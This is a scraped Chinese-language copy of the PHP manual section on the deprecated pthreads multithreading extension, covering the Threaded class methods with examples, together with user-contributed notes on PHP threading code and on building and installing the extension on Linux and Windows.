    • Threaded::notify — 同步控制
    • Threaded::notifyOne — Synchronization
    • Threaded::pop — 操作
    • Threaded::run — 执行
    • Threaded::shift — Manipulation
    • Threaded::synchronized — 同步控制
    • Threaded::wait — Synchronization
  • Thread — Thread 类
    • Thread::getCreatorId — 识别
    • Thread::getCurrentThread — 识别
    • Thread::getCurrentThreadId — 识别
    • Thread::getThreadId — 识别
    • Thread::isJoined — 状态监测
    • Thread::isStarted — 状态检测
    • Thread::join — 同步
    • Thread::start — 执行
  • Worker — Worker 类
    • Worker::collect — Collect references to completed tasks
    • Worker::getStacked — 获取剩余的栈大小
    • Worker::isShutdown — 状态检测
    • Worker::shutdown — 关闭 Worker
    • Worker::stack — 将要执行的任务入栈
    • Worker::unstack — 将要执行的任务出栈
  • Collectable — The Collectable interface
    • Collectable::isGarbage — Determine whether an object has been marked as garbage
  • Pool — Pool 类
    • Pool::collect — 回收已完成任务的引用
    • Pool::__construct — 创建新的 Worker 对象池
    • Pool::resize — 改变 Pool 对象的可容纳 Worker 对象的数量
    • Pool::shutdown — 停止所有的 Worker 对象
    • Pool::submit — 提交对象以执行
    • Pool::submitTo — 提交一个任务到特定的 Worker 以执行
  • Volatile — The Volatile class

User Contributed Notes

meadowsjared at gmail dot com 29-Dec-2020 04:49
In this example, it shows how to use a threaded with a pool to get an array of results, using pThreads v3.2.1 and php 7.3.23

<?php
class TestWork extends Threaded {
//updated version that works with pThreads v3.2.1 and php 7.3.23
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData) {
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run() {
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isDone() {
        return $this->complete;
    }
}
class ExamplePool extends Pool {
    public $data = array(); // used to return data after we're done
    private $numTasks = 0; // counter used to know when we're done
    /**
     * override the submit function from the parent
     * to keep track of our jobs
     */
    public function submit(Threaded $task) {
        $this->numTasks++;
        parent::submit($task);
    }
    /**
     * used to wait until all workers are done
     */
    public function process() {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->data) < $this->numTasks) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done
                // collect its results
                if ($task->isDone()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isDone();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
mckaygerhard at gmail dot com 26-Sep-2018 03:01
mayority of that problems only happned for guindows, .. porr os
anonymous at example dot com 02-Jun-2017 03:19
Here are some notes regarding PHP pThreads v3 that I have gathered:
-namespace: It does not understand namespaces.
-globals: It won't serialize GLOBALS at all! And will not register new ones.
-classes: It registers new classes okay.
-functions: Will not register ANY functions - they must all be in static classes. It does understand PHP native functions.
-consts: previous constants will transfer over. Don't make any new ones thou!
-pThreads only work in CLI - of course!
-If a thread crashes it automatically gets recreated.
-In order to 'force kill' any thread the parent must be killed. Or wait until all other tasks queued are complete and then terminate.
-Anything registered in a pThread does not seem to join the main thread ... which is good!
-pThreads seem to be very powerful on multi-core environments, just need to be careful on system resources... it can and will lock up a system if mis-configured.
-Finally, finding help for PHP pThreads is slim to none... especially v3!

Good luck!
r3x at engelhardt-stefan dot de 17-Nov-2015 06:17
If you try to test threading, remember to let php think slow:

Skript: -- C:\Webserver\htdocs>php mttest.php

<?php
class My extends Thread{
    function run(){
        for($i=1;$i<10;$i++){
            echo Thread::getCurrentThreadId() .  "\n";
            sleep(2);     // <------
        }
    }
}

for($i=0;$i<2;$i++){
    $pool[] = new My();
}

foreach($pool as $worker){
    $worker->start();
}
foreach($pool as $worker){
    $worker->join();
}
?>

Output: -- C:\Webserver\htdocs>php mttest.php
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816

If you leave sleep() out, the cpu-time for the threads is long enough to complete the script at once.
admin at deosnet dot com 19-Aug-2014 10:01
Hello,

WARNING : When using Stackable objects in callable functions by your Threads, you must be very careful if you use it as an array. Indeed, if you do not copy your Stackable "array" in a local variable, the execution time can drop drastically !

Also, if you want to modify an array() in a function, you will also store in a local variable in order that your array is in a thread-safe context.
jasonrlester at yahoo dot com 23-Feb-2014 12:08
Note that this extension *is* a high level implementation of POSIX threads, including on Windows (which is why pthreadsV*.dll is required)


简介

pthreads 是一组允许用户在 PHP 中使用多线程技术的面向对象的 API。 它提供了创建多线程应用所需的全套工具。 通过使用 Thread， Worker 以及 Threaded 对象，PHP 应用可以创建、读取、写入以及执行多线程应用，并可以在多个线程之间进行同步控制。

Warning

此扩展已被声明为停止维护状态。

Tip

建议使用 parallel 作为替代。

Warning

不可以在 web 服务器环境中使用 pthreads 扩展， PHP 多线程开发仅限于命令行模式的应用。

Warning

只能在 PHP 7.2+ 版本中使用 pthreads (v3) 扩展， 在 PHP 7.0 和 7.1 版本中，ZTS 模式是不安全的。

Threaded 对象： Threaded 对象提供支持 pthreads 操作的基本功能，包括同步方法以及其他对程序员很有帮助的接口。

Thread 对象： 通过继承 pthreads 中提供的 Thread 对象并实现 run 方法，用户可以创建自己的 Thread 对象。 只要线程上下文中持有某个 Thread 对象的引用，就可以读/写该对象的属性，也可以调用该对象的公有（public）或者受保护（protected）的方法。 当在创建 Thread 对象的上下文中调用该对象的 Thread::start() 方法时，pthreads 扩展会在另外的独立线程中执行该对象的 run 方法。 仅有创建 Thread 对象的线程/进程方可开始（start）或者加入（join）这个 Thread 对象。

Worker 对象： Worker 是有状态的线程对象，它在线程开始（通过调用 Thread::start() 方法）之后就可用， 除非代码中显式地关闭线程（通过调用 Worker::shutdown() 方法）， 否则该对象在线程对象超出作用范围之后才会失效。 持有 Worker 对象引用的线程上下文可以向 Worker 中入栈（通过调用 Worker::stack() 方法）其他线程对象，Worker 对象将在独立线程中执行入栈对象的代码。 Woker 对象的 run 方法会在它的栈中入栈对象之前执行，这样就可以进行一些必需的资源初始化工作。

Pool 对象： Pool 对象是 Worker 线程对象池，可以用来在多个 Worker 对象之间分发 Threaded 对象， 这是最易用且高效的多线程编程方式。

Caution

Pool 是标准的 PHP 对象，它并没有继承 Threaded 类，所以不可以在多个线程上下文中共享同一个 Pool 对象。

Volatile 类是在 pthreads v3 中新增加的， 用来表示可变的 Threaded 类中的 Threaded 属性（默认情况下是不可变的）。 它也可以被用来在 Threaded 上下文中存储数组。

线程间同步： 由 pthreads 扩展创建的所有对象拥有内置的线程间同步机制， 和 Java 语言很类似， 使用 Threaded::wait() 和 Threaded::notify() 方法来实现线程间同步。 调用某一个对象的 Threaded::wait() 方法 会导致当前线程上下文进入等待状态， 等待另外一个线程上下文调用同一个对象的 Threaded::notify() 方法。 为 PHP Threaded 对象提供了强有力的线程间同步控制机制。

Caution

应用中会用在多线程场景中的对象都应该从 Threaded 类继承。

数据存储： 一般来说，任何可以序列化的数据类型都可以作为 Threaded 对象的属性，它可以从持有该对象引用的任何线程上下文读/写。 并不是所有的数据都采用序列化方式存储，比如基本类型就是以其真实形态存储的。 对于不是 Threaded 派生的对象，例如复杂类型、数组以及对象等，都是序列化存储的，可以从持有 Threaded 对象引用的任何线程上下文中读取和写入， 区别就在于对于 Threaed 的派生对象，设置它的成员变量的过程是在独立线程上下文中执行的。 对于 Threaded 派生对象，在同一时间，不同的线程上下文都可以从该对象中读取到同样的数据。

静态成员： 当创建新的线程上下文（Thread 或 Worker 对象）的时候，静态成员会被拷贝到新的上下文中。出于安全考虑，资源类型以及包含内部状态的对象类型的静态成员会被置空。 实际上这个特性实现了类似线程本地存储的功能。举例说明，假设某个类拥有包含数据库连接信息以及数据库连接对象静态成员， 那么当新的线程上下文启动的时候，仅有数据库连接信息会被复制到新上下文中，而数据库连接对象并不会被复制。 所以，需要在新的上下文中根据复制过来的数据库连接基本信息来初始化数据库连接对象，新创建的数据库连接对象是独立的， 不影响在原上下文中的数据库连接对象。

Caution

当使用 print_r, var_dump 或者其他函数来进行对象调试的时候，是没有递归保护机制的。

Note:

资源类型： PHP 中很多使用到 Resource 资源类型的扩展或函数并未针对多线程场景进行特殊设计，也就是说，虽然 pthreads 扩展提供了 在多个线程上下文中共享资源类型变量的能力，但是通常来说，你应该把它们视为非线程安全的。 所以，如果要在多个线程上下文中共享资源类型的变量，你应该特别谨慎对待。

Caution

为了提供一个稳定的运行环境，pthreads 扩展在执行过程中会有一些必需的额外限制。

User Contributed Notes

Anon 23-Aug-2019 04:40
Joe Watkins the creator of pthreads and parallel announced in February this year (2019) that pthreads will no longer be maintained after PHP 7.4 due to architectural flaws.

For the future instead of pthread, parallel should be used.

Announcement:
https://github.com/krakjoe/pthreads/issues/929#issue-410636734


需求

要使用 pthreads 扩展，需要构建 PHP 时启用 ZTS（Zend 线程安全）（--enable-zts 或在 PHP 8.0 之前的非 Windows 平台为 --enable-maintainer-zts）。

Caution

ZTS 是构建期配置选项，只能通过构建时通过选项启用，无法在构建之后启用。

要构建 pthreads 扩展，你需要启用了 ZTS 的 PHP 以及 Posix Threads 头文件（pthread.h）。对于 Windows 平台，需要使用 redhat 的 pthread-w32 项目中的 pthread.h 头文件。

User Contributed Notes

There are no user contributed notes for this page.


安装

pthreads 扩展由 PECL 主持，使用 » github 管理源代码。 使用标准的 PECL 包安装方式就可以完成安装：» https://pecl.php.net/package/pthreads。

Windows 用户可以从 » PECL 下载已经构建的二进制发行包。

Caution

Windows 用户需要将 pthreadVC2.dll （包含在 Windows 版二进制发行包中）所在路径加入到 PATH 环境变量中。

User Contributed Notes

bens at effortlessis dot com 12-Sep-2020 05:23
Sadly, this extension seems to be in poor repair. After spending a few hours trying to get it to fly on Fedora 32 with PHP 7.4, I noticed that it's not really maintained since about 2016.

Attempting to compile it with PHP 7.4 results in screens full of nasty compile errors.
horica78 at yahoo dot com 15-Apr-2019 08:00
They can still be used in web server if used with exec('php script.php') and php-cli.ini .
agnelvishal at gmail dot com 11-Nov-2018 01:11
To compile PHP 7.2 with pthreads on Ubuntu 16.04 or Ubuntu 18.04 or Debian 9 Stretch, use this bash file at https://gist.github.com/agnelvishal/24f42c65af2f6cace1e9387617a0182a
and dot webdev at gmail dot com 08-Dec-2016 04:28
Also, possible by phpbrew

1. phpbrew install php-5.5.30 -- --enable-maintainer-zts
2. phpbrew use php-5.5.30
3. phpbrew ext install pthreads 2.0.10
Michel Phillipe Luca 20-Dec-2014 07:38
Here is how I got it working under Linux Ubuntu distro - WITHOUT USE PECL:

We will download both, PHP and Pthread without PECL

1 - Get PHP version
For this example we will use version: 5.4.36

# wget http://www.php.net/distributions/php-5.4.36.tar.gz

2- Get Pthreads version:
I'm using an old version but, you could take any one

# wget http://pecl.php.net/get/pthreads-1.0.0.tgz

Extract both, php and pthreads versions

#tar zxvf php-5.4.36.tar.gz
#tar zxvf pthreads-1.0.0.tgz

3- Move Pthreads to php/ext folder. Inside version of PHP downloaded at item 1.

4- Reconfigure sources
# ./buildconf --force
# ./configure --help | grep pthreads

You have to see --enable-pthreads listed. If do not, clear the buidls with this commands:

# rm -rf aclocal.m4
# rm -rf autom4te.cache/
# ./buildconf --force

5 - Inside php folder run configure command to set what we need:
# ./configure --enable-debug --enable-maintainer-zts --enable-pthreads --prefix=/usr --with-config-file-path=/etc

6 - Install PHP
We will run make clear just to be sure that no other crashed build will mess our new one.

# make clear
# make
# make install

7 - Copy configuration file of PHP and add local lib to include path
# cp php.ini-development /etc/php.ini

Edit php.ini and set Include_path to be like this:

Include_path = "/usr/local/lib/php"

9 - Check Modules
# php -m (check pthread loaded)

You have to see pthreads listed

10 - If pthread is not listed, update php.ini
# echo "extension=pthreads.so" >> /etc/php.ini
sawyer dot lin at gmail dot com 15-Dec-2014 05:42
To execute pecl install pthreads
The library autoconf shoud be installed at first
http://stackoverflow.com/questions/9322742/php-autoconf-errors-on-mac-os-x-10-7-3-when-trying-to-install-pecl-extensions
like
apt-get install pthreads
zahid dot smz at gmail dot com 11-May-2014 07:43
For Wampp (Windows)
-----------------------------------------------------------------------------------
1.  Find out what is your 'PHP Extension Build' version by using phpinfo(). You can use this - http://localhost/?phpinfo=1

2.  Download the pthreads that matches your php version (32 bit or 64 bit) and php extension build (currently used VC11). Use this link for download - http://windows.php.net/downloads/pecl/releases/pthreads/

3.  Extract the zip -
      Move php_pthreads.dll to the 'bin\php\ext\' directory.
      Move pthreadVC2.dll to the 'bin\php\' directory.
      Move pthreadVC2.dll to the 'bin\apache\bin' directory.
      Move pthreadVC2.dll to the 'C:\windows\system32' directory.

4.  Open php\php.ini and add
      extension=php_pthreads.dll

Now restart server and you are done. Thanks.
Pedro Proenca 12-Apr-2014 11:22
I haven't found any proper instructions on how to install pthreads in linux, so I'll leave the steps I followed:

# Required libraries
sudo apt-get install gcc make libzzip-dev libreadline-dev libxml2-dev \
libssl-dev libmcrypt-dev libcurl4-openssl-dev lib32bz2-dev

# Download PHP
cd /usr/local/src

wget http://www.php.net/distributions/php-<version>.tar.gz
( e.g. wget http://www.php.net/distributions/php-5.5.8.tar.gz )

# Extract
tar zxvf php-<version>.tar.gz
(e.g. tar zxvf php-5.5.8.tar.gz )

# Configure
cd /usr/local/src/php-<version>
( e.g. cd /usr/local/src/php-5.5.8 )

./configure --prefix=/usr --with-config-file-path=/etc --enable-maintainer-zts

# Compile
make && make install
( make -j3 && make -j3 install) -> Faster building

# Copy configuration
cp php.ini-development /etc/php.ini

# Install pthreads
pecl install pthreads
echo "extension=pthreads.so" >> /etc/php.ini

# Check installation
php -m | grep pthreads
pedro dot proenca at shapedfor dot me 12-Apr-2014 11:21
I haven't found any proper instructions on how to install pthreads in linux, so I'll leave the steps I followed:

# Required libraries
sudo apt-get install gcc make libzzip-dev libreadline-dev libxml2-dev \
libssl-dev libmcrypt-dev libcurl4-openssl-dev lib32bz2-dev

# Download PHP
cd /usr/local/src

wget http://www.php.net/distributions/php-<version>.tar.gz
( e.g. wget http://www.php.net/distributions/php-5.5.8.tar.gz )

# Extract
tar zxvf php-<version>.tar.gz
(e.g. tar zxvf php-5.5.8.tar.gz )

# Configure
cd /usr/local/src/php-<version>
( e.g. cd /usr/local/src/php-5.5.8 )

./configure --prefix=/usr --with-config-file-path=/etc --enable-maintainer-zts

# Compile
make && make install
( make -j3 && make -j3 install) -> Faster building

# Copy configuration
cp php.ini-development /etc/php.ini

# Install pthreads
pecl install pthreads
echo "extension=pthreads.so" >> /etc/php.ini

# Check installation
php -m | grep pthreads
rbfowler9lfc at hotmail dot com 19-Aug-2013 02:32
For those using XAMPP or other apache-php bundles, it's necessary to add LoadFile "C:/xampp/php/pthreadVC2.dll" to httpd-xampp.conf if you want to utilize pthreads in a browser window.
matias dot zumbo at gmail dot com 30-Jul-2013 11:54
HOW TO INSTALL IN LINUX SYSTEM'S:
------------------------------------

1) Download PHP sources and Unpack PHP

2) Download PEAR
     wget http://pear.php.net/go-pear.phar
     php go-pear.phar

3) Download pthreads
Get PECL extension (PECL is a repository for PHP Extensions)

# pecl install pthread-0.4.4

4) Unpack pthreads
copy pthread-0.4.4  to  php/ext
(for ./configure allow  add option --enable-pthreads)

# mv build/php-src-master/ext/pthreads-master    build/php-src-master/ext/pthreads

5)  Reconfigure sources
# ./buildconf --force
# ./configure --help | grep pthreads

You should see the appropriate --enable-pthreads option listed as a result, if you do not, then

# rm -rf aclocal.m4
# rm -rf autom4te.cache/
# ./buildconf --force

6) Build PHP
Compile PHP source code
Add:
# ./configure --enable-debug --enable-maintainer-zts --enable-pthreads

7) Installing PHP
# make
# sudo make install

8) Update php.ini
Add in php.ini
extension=pthreads.so
Include_path = "/usr/local/lib/php"

9) Check Modules
php -m (check pthread loaded)

10) Test Thread Class
# php SimpleTest.php
jason at jason-rush dot com 27-Jun-2013 08:54
The files are in the format:
php_pthreads-X.XX-Y.Y-ts-vcZZ-x86.zip

where
X.XX is the version of the phpthreads-win32
Y.Y is the base version of PHP that you are running
ZZ is ?? (version of compiler?)

Currently, 0.44 is the latest release of phpthreads-win32, so X.XX = 0.44
If you are running PHP 5.3.13, then Y.Y = 5.3
If you are running PHP 5.5.0, then Y.Y=5.5
etc

php_pthreads-0.44-5.3-ts-vc9-x86.zip
php_pthreads-0.44-5.4-ts-vc9-x86.zip
php_pthreads-0.44-5.5-ts-vc11-x64.zip
php_pthreads-0.44-5.5-ts-vc11-x86.zip
Jimmy Christensen 16-May-2013 08:55
On Windows the installation is as follows:

Download the pthreads that matches your php version.
I found mine at: http://windows.php.net/downloads/pecl/releases/pthreads/
(I used version 0.44 wich is the newest at the time of writing this, and then downloaded the one for php 5.3 which is the version I am using).

Extract the zip.
Move php_pthreads.dll to the php\ext\ directory.
Move pthreadVC2.dll to the php\ directory.

Open php\php.ini and add
extension=php_pthreads.dll

You are done.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

PTHREADS_INHERIT_ALL (int)
线程的默认选项。线程开始的时候，pthreads 扩展会将环境复制到线程上下文中。
PTHREADS_INHERIT_NONE (int)
新线程开始时，不继承任何内容。
PTHREADS_INHERIT_INI (int)
新线程开始时，仅继承 INI 配置。
PTHREADS_INHERIT_CONSTANTS (int)
新线程开始时，继承用户定义的常量。
PTHREADS_INHERIT_CLASSES (int)
新线程开始时，继承用户定义的类。
PTHREADS_INHERIT_FUNCTIONS (int)
新线程开始时，继承用户定义的函数。
PTHREADS_INHERIT_INCLUDES (int)
新线程开始时，继承包含文件。
PTHREADS_INHERIT_COMMENTS (int)
新线程开始时，继承所有的注释。
PTHREADS_ALLOW_HEADERS (int)
允许新线程向标准输出发送头信息（通常情况下是被禁止的）。

User Contributed Notes

There are no user contributed notes for this page.


Threaded 类

(PECL pthreads >= 2.0.0)

简介

Threaded 对象提供支持 pthreads 操作的基本功能，包括同步方法以及其他对程序员很有帮助的接口。

重要的是，Threaded 提供了隐式的线程安全机制，这个对象中的所有操作都是线程安全的。

类摘要

class Threaded implements Collectable, Traversable, Countable, ArrayAccess {
/* 方法 */
public chunk(int $size, bool $preserve): array
public count(): int
public extend(string $class): bool
public isRunning(): bool
public isTerminated(): bool
publicmerge(mixed $from, bool $overwrite = ?): bool
public notify(): bool
public notifyOne(): bool
public pop(): bool
public run(): void
public shift(): boolean
public synchronized(Closure $block, mixed ...$args): mixed
public wait(int $timeout = ?): bool
}

Table of Contents

  • Threaded::chunk — 操作
  • Threaded::count — 操作
  • Threaded::extend — Runtime Manipulation
  • Threaded::isRunning — 状态检测
  • Threaded::isTerminated — 状态检测
  • Threaded::merge — 操作
  • Threaded::notify — 同步控制
  • Threaded::notifyOne — Synchronization
  • Threaded::pop — 操作
  • Threaded::run — 执行
  • Threaded::shift — Manipulation
  • Threaded::synchronized — 同步控制
  • Threaded::wait — Synchronization

User Contributed Notes

jtbibliomania at gmail dot com 24-Jun-2019 06:43
It's worth mentioning here that, since v2.0.0, 'Stackable' class was an alias for 'Threaded' class but has been removed since.
derkontrollfreak+php at gmail dot com 12-Jul-2015 07:50
> Threaded objects, most importantly, provide implicit safety for the programmer; all operations on the object scope are safe.

However, this comes with a trade-off: Operations on the instance scope are slower than on plain PHP objects.

Static properties are not affected as they are thread-local.


操作

  • ? Threaded
  • Threaded::count ?
  • PHP Manual
  • Threaded
  • 操作

Threaded::chunk

(PECL pthreads >= 2.0.0)

Threaded::chunk — 操作

说明

public Threaded::chunk(int $size, bool $preserve): array

获取给定数量的对象属性表，可以选择是否保留键名称。

参数

size

要获取的条目数量

preserve

保留成员原有的键名称，默认为 false

返回值

数组对象，包含从对象属性表中返回的给定数量的条目。

示例

Example #1 获取对象属性表中的部分条目

<?php
$safe = new Threaded();

while (count($safe) < 10) {
$safe[] = count($safe);
}

var_dump($safe->chunk(5));
?>

以上示例会输出：

array(5) {
  [0]=>
  int(0)
  [1]=>
  int(1)
  [2]=>
  int(2)
  [3]=>
  int(3)
  [4]=>
  int(4)
}

User Contributed Notes

There are no user contributed notes for this page.


操作

  • ? Threaded::chunk
  • Threaded::extend ?
  • PHP Manual
  • Threaded
  • 操作

Threaded::count

(PECL pthreads >= 2.0.0)

Threaded::count — 操作

说明

public Threaded::count(): int

返回对象的属性数量

参数

此函数没有参数。

返回值

示例

Example #1 计算对象中的属性数量

<?php
$safe = new Threaded();

while (count($safe) < 10) {
$safe[] = count($safe);
}

var_dump(count($safe));
?>

以上示例会输出：

int(10)

User Contributed Notes

There are no user contributed notes for this page.


Runtime Manipulation

  • ? Threaded::count
  • Threaded::isRunning ?
  • PHP Manual
  • Threaded
  • Runtime Manipulation

Threaded::extend

(PECL pthreads >= 2.0.8)

Threaded::extend — Runtime Manipulation

说明

public Threaded::extend(string $class): bool

Makes thread safe standard class at runtime

参数

class

The class to extend

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Runtime inheritance

<?php
class My {}

Threaded::extend(My::class);

$my = new My();

var_dump($my instanceof Threaded);
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


状态检测

  • ? Threaded::extend
  • Threaded::isTerminated ?
  • PHP Manual
  • Threaded
  • 状态检测

Threaded::isRunning

(PECL pthreads >= 2.0.0)

Threaded::isRunning — 状态检测

说明

public Threaded::isRunning(): bool

对象是否正在运行

参数

此函数没有参数。

返回值

表示运行状态的布尔值

Note:

如果对象的 run 方法正在执行，则视该对象为处于运行状态

示例

Example #1 检测对象状态

<?php
class My extends Thread {
public function run() {
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
var_dump($my->isRunning());
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


状态检测

  • ? Threaded::isRunning
  • Threaded::merge ?
  • PHP Manual
  • Threaded
  • 状态检测

Threaded::isTerminated

(PECL pthreads >= 2.0.0)

Threaded::isTerminated — 状态检测

说明

public Threaded::isTerminated(): bool

检测是否因致命错误或未捕获的异常而导致执行过程异常终止

参数

此函数没有参数。

返回值

布尔值，表示是否异常终止

示例

Example #1 检测对象状态

<?php
class My extends Thread {
public function run() {
i_do_not_exist();
}
}
$my = new My();
$my->start();
$my->join();
var_dump($my->isTerminated());
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


操作

  • ? Threaded::isTerminated
  • Threaded::notify ?
  • PHP Manual
  • Threaded
  • 操作

Threaded::merge

(PECL pthreads >= 2.0.0)

Threaded::merge — 操作

说明

publicThreaded::merge(mixed $from, bool $overwrite = ?): bool

将数据合并到当前对象

参数

from

要合并的数据

overwrite

如果现有对象已经存在同键的数据，是否覆盖。默认为 true

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 合并数据到对象的属性表

<?php
$array = [];

while (count($array) < 10)
$array[] = count($array);

$stdClass = new stdClass();
$stdClass->foo = "foo";
$stdClass->bar = "bar";
$stdClass->baz = "baz";

$safe = new Threaded();
$safe->merge($array);
$safe->merge($stdClass);

var_dump($safe);
?>

以上示例会输出：

object(Threaded)#2 (13) {
  ["0"]=>
  int(0)
  ["1"]=>
  int(1)
  ["2"]=>
  int(2)
  ["3"]=>
  int(3)
  ["4"]=>
  int(4)
  ["5"]=>
  int(5)
  ["6"]=>
  int(6)
  ["7"]=>
  int(7)
  ["8"]=>
  int(8)
  ["9"]=>
  int(9)
  ["foo"]=>
  string(3) "foo"
  ["bar"]=>
  string(3) "bar"
  ["baz"]=>
  string(3) "baz"
}

User Contributed Notes

cottton 15-Aug-2015 07:41
The example output is different on my side:
<?php
/*
object(Threaded)#2 (11) {
  ["0"]=>
  int(0)
  ["1"]=>
  int(1)
  ["2"]=>
  int(2)
  ["3"]=>
  int(3)
  ["4"]=>
  int(4)
  ["5"]=>
  int(5)
  ["6"]=>
  int(6)
  ["7"]=>
  int(7)
  ["8"]=>
  int(8)
  ["9"]=>
  int(9)
  ["foo"]=>
  string(3) "bar"
}
*/
?>
for
windows using
PHP_VERSION 5.6.11
php_pthreads-2.0.10-5.6-ts-vc11-x86.zip @ http://windows.php.net/downloads/pecl/releases/pthreads/2.0.10/

and

linux using
PHP_VERSION 5.6.10-1~dotdeb+zts+7.3

So $stdClass wont be merged.


同步控制

  • ? Threaded::merge
  • Threaded::notifyOne ?
  • PHP Manual
  • Threaded
  • 同步控制

Threaded::notify

(PECL pthreads >= 2.0.0)

Threaded::notify — 同步控制

说明

public Threaded::notify(): bool

向对象发送唤醒通知

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 等待和唤醒

<?php
class My extends Thread {
public function run() {
/** 让线程等待 **/
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
/** 向处于等待状态的线程发送唤醒通知 **/
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
var_dump($my->join());
?>

以上示例会输出：

bool(true)

User Contributed Notes

cottton at i-stats dot net 18-Nov-2014 01:34
Seems like some operators dont work.
f.e. $thread->array[] = 1;  fails

a simple test:
<?php
class My extends Thread
{
    public
        $array = array('default val 1', 'default val 2'),
        $msg = 'default',
        $stop = false;

    public function run()
    {
        while(true)
        {
            echo $this->msg . PHP_EOL;
            if(count($this->array) > 0){
                foreach($this->array as $val){
                    var_dump($val);
                }
                $this->array = array();
            }
            /** cause this thread to wait **/
            $this->synchronized(
                function($thread){
                    if(count($this->array) < 1){
                        $thread->wait();
                    }
                },
                $this
            );
            echo PHP_EOL;
            if($this->stop){
                break;
            }
        } // while
    }
}
$my = new My();
$my->start();

sleep(1); // wait a bit

// test 1 - $thread->array[] = 1;
$my->synchronized(
    function($thread){
        $thread->msg = 'test 1';
        $thread->array[] = 1;
        $thread->notify();
    },
    $my
);

sleep(1); // wait a bit

// test 2 - array_push($thread->array, 2);
$my->synchronized(
    function($thread){
        $thread->msg = 'test 2';
        array_push($thread->array, 2);
        $thread->notify();
    },
    $my
);

sleep(1); // wait a bit

// test 3 - array_push($thread->array, 2);
$my->synchronized(
    function($thread){
        $thread->msg = 'test 3';
        $new = array(3);
        $thread->array = array_merge($thread->array, $new);
        $thread->notify();
    },
    $my
);

sleep(1); // wait a bit

$my->stop = true;
?>
out:
default
string(13) "default val 1"
string(13) "default val 2"

test 1

test 2

test 3
int(3)

so in this case only array_merge() worked.


Synchronization

  • ? Threaded::notify
  • Threaded::pop ?
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::notifyOne

(PECL pthreads >= 3.0.0)

Threaded::notifyOne — Synchronization

说明

public Threaded::notifyOne(): bool

Send notification to the referenced object. This unblocks at least one of the blocked threads (as opposed to unblocking all of them, as seen with Threaded::notify()).

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Notifications and Waiting

<?php
class My extends Thread {
public function run() {
/** cause this thread to wait **/
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
/** send notification to the waiting thread **/
$my->synchronized(function($thread){
$thread->done = true;
$thread->notifyOne();
}, $my);
var_dump($my->join());
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


操作

  • ? Threaded::notifyOne
  • Threaded::run ?
  • PHP Manual
  • Threaded
  • 操作

Threaded::pop

(PECL pthreads >= 2.0.0)

Threaded::pop — 操作

说明

public Threaded::pop(): bool

弹出对象属性表中的最后一项数据

参数

此函数没有参数。

返回值

对象属性表中最后一项数据

示例

Example #1 弹出对象属性表中的最后一项数据

<?php
$safe = new Threaded();

while (count($safe) < 10)
$safe[] = count($safe);

var_dump($safe->pop());
?>

以上示例会输出：

int(9)

User Contributed Notes

There are no user contributed notes for this page.


执行

  • ? Threaded::pop
  • Threaded::shift ?
  • PHP Manual
  • Threaded
  • 执行

Threaded::run

(PECL pthreads >= 2.0.0)

Threaded::run — 执行

说明

public Threaded::run(): void

如果需要在多线程环境下执行代码，必须实现本方法

参数

此函数没有参数。

返回值

无返回值。即使代码中 run 方法有返回值，也会被忽略

User Contributed Notes

There are no user contributed notes for this page.


Manipulation

  • ? Threaded::run
  • Threaded::synchronized ?
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::shift

(PECL pthreads >= 2.0.0)

Threaded::shift — Manipulation

说明

public Threaded::shift(): boolean

弹出对象属性表中第一项数据

参数

此函数没有参数。

返回值

对象属性表中的第一项数据

示例

Example #1 弹出对象属性表中第一项数据

<?php
$safe = new Threaded();

while (count($safe) < 10)
$safe[] = count($safe);

var_dump($safe->shift());
?>

以上示例会输出：

int(0)

User Contributed Notes

There are no user contributed notes for this page.


同步控制

  • ? Threaded::shift
  • Threaded::wait ?
  • PHP Manual
  • Threaded
  • 同步控制

Threaded::synchronized

(PECL pthreads >= 2.0.0)

Threaded::synchronized — 同步控制

说明

public Threaded::synchronized(Closure $block, mixed ...$args): mixed

在发起调用的线程上下文中获取对象同步锁，然后同步执行代码块

参数

block

要执行的代码块

args

传送给代码块的不定长参数

返回值

代码块的返回值

示例

Example #1 同步

<?php
class My extends Thread {
public function run() {
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
var_dump($my->join());
?>

以上示例会输出：

bool(true)

User Contributed Notes

john dot wellesz at teaser dot fr 19-Mar-2014 01:22
